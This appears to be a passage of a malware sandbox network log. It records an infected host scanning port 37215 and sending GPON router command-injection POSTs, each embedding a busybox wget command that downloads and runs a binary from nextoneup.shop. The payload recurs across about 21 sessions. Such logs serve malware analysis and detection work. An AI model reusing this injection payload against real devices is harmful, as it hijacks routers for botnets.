Apr 14, 2024 03:59:50.685844898 CEST	1863	37215	192.168.2.13	41.43.44.118
Apr 14, 2024 03:59:50.685864925 CEST	1863	37215	192.168.2.13	197.156.116.195
Apr 14, 2024 03:59:50.685867071 CEST	1863	37215	192.168.2.13	41.183.50.163
Apr 14, 2024 03:59:50.685868979 CEST	1863	37215	192.168.2.13	41.182.238.22
Apr 14, 2024 03:59:50.685869932 CEST	1863	37215	192.168.2.13	156.146.225.236
Apr 14, 2024 03:59:50.685870886 CEST	1863	37215	192.168.2.13	156.40.233.195
Apr 14, 2024 03:59:50.685885906 CEST	1863	37215	192.168.2.13	41.253.180.189
Apr 14, 2024 03:59:50.685890913 CEST	1863	37215	192.168.2.13	156.81.20.236
Apr 14, 2024 03:59:50.685890913 CEST	1863	37215	192.168.2.13	197.213.94.124
Apr 14, 2024 03:59:50.685892105 CEST	1863	37215	192.168.2.13	41.59.224.65
Apr 14, 2024 03:59:50.685900927 CEST	1863	37215	192.168.2.13	156.151.199.77
Apr 14, 2024 03:59:50.685906887 CEST	1863	37215	192.168.2.13	197.115.234.78
Apr 14, 2024 03:59:50.685906887 CEST	1863	37215	192.168.2.13	197.105.198.196
Apr 14, 2024 03:59:50.685925961 CEST	1863	37215	192.168.2.13	41.6.133.17
Apr 14, 2024 03:59:50.685925961 CEST	1863	37215	192.168.2.13	156.195.121.180
Apr 14, 2024 03:59:50.685926914 CEST	1863	37215	192.168.2.13	156.240.114.164
Apr 14, 2024 03:59:50.685935974 CEST	1863	37215	192.168.2.13	197.119.155.222
Apr 14, 2024 03:59:50.685939074 CEST	1863	37215	192.168.2.13	156.88.187.32
Apr 14, 2024 03:59:50.685951948 CEST	1863	37215	192.168.2.13	156.38.162.6
Apr 14, 2024 03:59:50.685961962 CEST	1863	37215	192.168.2.13	156.175.59.23
Apr 14, 2024 03:59:50.685966969 CEST	1863	37215	192.168.2.13	197.72.87.230
Apr 14, 2024 03:59:50.685972929 CEST	1863	37215	192.168.2.13	197.138.183.56
Apr 14, 2024 03:59:50.685980082 CEST	1863	37215	192.168.2.13	41.172.4.115
Apr 14, 2024 03:59:50.685982943 CEST	1863	37215	192.168.2.13	156.149.122.181
Apr 14, 2024 03:59:50.685983896 CEST	1863	37215	192.168.2.13	156.106.252.16
Apr 14, 2024 03:59:50.685987949 CEST	1863	37215	192.168.2.13	41.166.11.195
Apr 14, 2024 03:59:50.685998917 CEST	1863	37215	192.168.2.13	197.147.121.242
Apr 14, 2024 03:59:50.686007023 CEST	1863	37215	192.168.2.13	41.197.197.124
Apr 14, 2024 03:59:50.686007023 CEST	1863	37215	192.168.2.13	197.151.249.16
Apr 14, 2024 03:59:50.686022043 CEST	1863	37215	192.168.2.13	197.7.104.172
Apr 14, 2024 03:59:50.686026096 CEST	1863	37215	192.168.2.13	156.42.247.146
Apr 14, 2024 03:59:50.686027050 CEST	1863	37215	192.168.2.13	156.201.158.138
Apr 14, 2024 03:59:50.686037064 CEST	1863	37215	192.168.2.13	197.42.71.202
Apr 14, 2024 03:59:50.686037064 CEST	1863	37215	192.168.2.13	197.37.228.173
Apr 14, 2024 03:59:50.686052084 CEST	1863	37215	192.168.2.13	41.136.117.85
Apr 14, 2024 03:59:50.686052084 CEST	1863	37215	192.168.2.13	197.66.42.182
Apr 14, 2024 03:59:50.686058044 CEST	1863	37215	192.168.2.13	197.218.245.233
Apr 14, 2024 03:59:50.686065912 CEST	1863	37215	192.168.2.13	197.144.100.161
Apr 14, 2024 03:59:50.686084986 CEST	1863	37215	192.168.2.13	197.94.49.17
Apr 14, 2024 03:59:50.686089039 CEST	1863	37215	192.168.2.13	156.53.8.78
Apr 14, 2024 03:59:50.686098099 CEST	1863	37215	192.168.2.13	197.253.238.113
Apr 14, 2024 03:59:50.686100960 CEST	1863	37215	192.168.2.13	197.115.200.50
Apr 14, 2024 03:59:50.686100960 CEST	1863	37215	192.168.2.13	156.76.170.187
Apr 14, 2024 03:59:50.686109066 CEST	1863	37215	192.168.2.13	197.217.215.201
Apr 14, 2024 03:59:50.686111927 CEST	1863	37215	192.168.2.13	41.96.215.192
Apr 14, 2024 03:59:50.686121941 CEST	1863	37215	192.168.2.13	41.196.86.157
Apr 14, 2024 03:59:50.686124086 CEST	1863	37215	192.168.2.13	197.164.142.140
Apr 14, 2024 03:59:50.686130047 CEST	1863	37215	192.168.2.13	41.86.94.109
Apr 14, 2024 03:59:50.686146975 CEST	1863	37215	192.168.2.13	156.12.160.92

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 14, 2024 03:59:49.686851025 CEST	192.168.2.13	8.8.8.8	0x7a12	Standard query (0)	rsx.nextoneup.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 14, 2024 03:59:49.862514973 CEST	8.8.8.8	192.168.2.13	0x7a12	No error (0)	rsx.nextoneup.shop		37.44.238.94	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	47498	79.214.172.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.704910994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	46472	212.183.58.2	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.704940081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	58974	210.240.39.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.704979897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	45756	118.219.25.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705009937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	43588	2.190.166.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705058098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	43266	212.134.29.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705058098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	43780	178.120.59.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705106974 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	50478	42.27.114.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705154896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	50728	202.116.139.178	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705184937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	41084	212.85.242.129	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705209970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	53220	2.81.60.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705233097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	43012	37.134.90.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705274105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	40540	94.255.61.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705315113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	45376	148.207.129.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705355883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	45160	109.121.242.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705406904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	60668	109.80.145.243	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705436945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	46870	123.235.167.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705466986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	47728	117.198.161.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705499887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	51956	210.230.202.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705523014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	55208	94.175.18.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705540895 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	41320	148.245.181.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705585003 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	34916	148.48.157.222	443

Timestamp	Bytes transferred	Direction	Data
